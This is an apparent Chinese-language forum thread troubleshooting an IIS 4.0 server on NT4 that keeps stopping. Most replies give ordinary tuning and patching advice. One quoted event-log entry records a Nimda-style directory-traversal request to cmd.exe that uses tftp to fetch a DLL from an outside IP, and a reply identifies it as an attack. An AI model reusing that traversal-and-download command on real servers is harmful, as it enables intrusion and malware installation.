IIS在什么情况下会自动停止服务? 配置:NT4.0+SP5+IIS4.0 1、服务器运行一段时间后,IIS就会自动停止服

iis4的修补程序,会包含进nt4的补丁中。
最新的NT4补丁是SP6:http://www.microsoft.com/ntserver/nts/downloads/default.asp。
Option Pack:
http://www.microsoft.com/ntserver/nts/downloads/recommended/NT4OptPk/default.asp
---------------------------------------------------------------
一般这种情况很复杂,可以从以下几个大的方面检查。

实际中检查IIS自动停止的原因很多都是代码引起的,所以请仔细检查一下代码,特别注意是否释放了connection、recordset等对象=nothing。
如果使用了VB COM,注意选中这两个选项:'unattend execution' 和 'retain in memory'。
对于程序中的on error resume next也要特别注意,看是否会引发死循环。
一个可用的调试检查方法是:
(1)首先隔离IIS应用程序,将其设为高的应用程序隔离。
(2)监视所有的dllhost.exe,记住其PID、通常的CPU和内存占用数据
(3)查看任务管理器中的每一个PID各自代表的应用程序或对象。
(4)然后在访问IIS时看其占用资源。

对于其他原因,首先确认是否安装了最新的安全包。可以参考http://www.microsoft.com/security/.

然后,可参考http://www.microsoft.com/technet/treeview/default.asp?url=/technet/prodtechnol/iis/default.asp中"Performance"一节或看“HOW TO: Monitor Web Server Performance by Using Counter Logs in System Monitor in IIS” http://support.microsoft.com/default.aspx?scid=kb;en-us;313064
这可以帮助确认是否为硬件瓶颈导致IIS停止服务。

当然,也需要排除病毒可能。

还要说到的一点是:在开发完成到程序实际部署到生产环境,最好用WAS进行压力测试:http://webtool.rte.microsoft.com。

下面几个可能会有所帮助的文章:
HOWTO: Troubleshoot High CPU Utilization of an MTS or COM+ Process http://support.microsoft.com/default.aspx?scid=kb;en-us;Q258833

How to Isolate a DLL into a Separate Process By Using Component
Services
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q258833

HOWTO: Use Autodump+ to Troubleshoot "Hangs" and "Crashes"
http://support.microsoft.com/default.aspx?scid=kb;en-us;q286350

HOW TO: Isolate Web Applications into Their Own Process
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q326086
--------------------------------------------------------------
今天早晨起来一看,IIS又自动停止了服务,打开事件查看器,
发现有许多这样的错误类型:

事件详细资料

日期:02-12-12 事件ID(V):16
时间:上午01:04:06 来源(R):W3SVC
用户(U):N/A 类型: 错误
计算机(M):ABAB 种类(T):无

描述(D):
在设置的超时期间内,具有参数
'/c+tftp%20-i%20218.159.171.64%20GET%20cool.dll%20c:\httpodbc.dll'
从URL'/scripts/..\../winnt/system32/cmd.exe'启动的脚本没有响应,所以HTTP服务器终止了该脚本。
------------------------------------------------------------
C:\httpodbc.dll和一些Inetpub目录下的一些tftp文件都和曾流行一时的尼姆达病毒有关。
需要对系统杀毒。
从提示看,系统受到了病毒和来自网上的攻击(218.159.171.64曾经试图启动IIS机器上的cmd.exe程序)。

Published At
Categories with Web编程
Tagged with
comments powered by Disqus